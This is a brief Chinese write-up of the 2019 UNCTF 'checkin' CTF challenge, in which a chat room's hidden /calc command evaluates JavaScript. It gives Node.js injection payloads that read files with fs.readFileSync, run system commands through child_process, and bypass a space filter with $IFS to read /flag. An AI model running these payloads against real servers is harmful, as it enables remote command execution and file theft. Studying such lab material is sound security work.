2019UNCTF checkin

Node.js是一个Javascript运行环境(runtime environment),Node.js不是一个JavaScript框架,Node.js是一个让JavaScript运行在服务端的开发平台，它让JavaScript成为与PHP、Python、Perl、Ruby 等服务端语言平起平坐的脚本语言。

进入之后是一个聊天室.
查看源码app.03bc1faf.js，这个JS文件里有/help、/more、/calc、/name、/flag、/clear

但是/calc，输入/help不提醒，而且可以进行运算。

调用calc函数

/calc 5*6

nodejs注入

执行JavaScript命令

payload: ?input=console.log('hello')

运行rce.js，在浏览器中输入payload，可以看到控制台中输出了“hello”，说明我们的命令被成功执行了：

使用fs模块读取文件

rec.js目录下放置了一个flag.txt。

payload:?input=res.end(require('fs').readFileSync('./flag.txt').toString())

浏览器窗口中输出了flag.txt的内容：

使用child_process模块执行系统命令

payload:?input=require('child_process').exec('calc')

成功弹出了计算器：

payload:http://127.0.0.1:8888/?input=require('child_process').exec('mkdir test')

成功创建了一个名叫“test”的目录：

原理

调用child_process模块执行命令，题目过滤了空格，用$IFS替代空格

IFS，Linux叫做内部字段分隔符

模仿上面方法

payload:
/calc require("child_process").execSync("ls$IFS/").toString()

列出目录

取flag

/calc require("child_process").execSync("cat$IFS/flag").toString()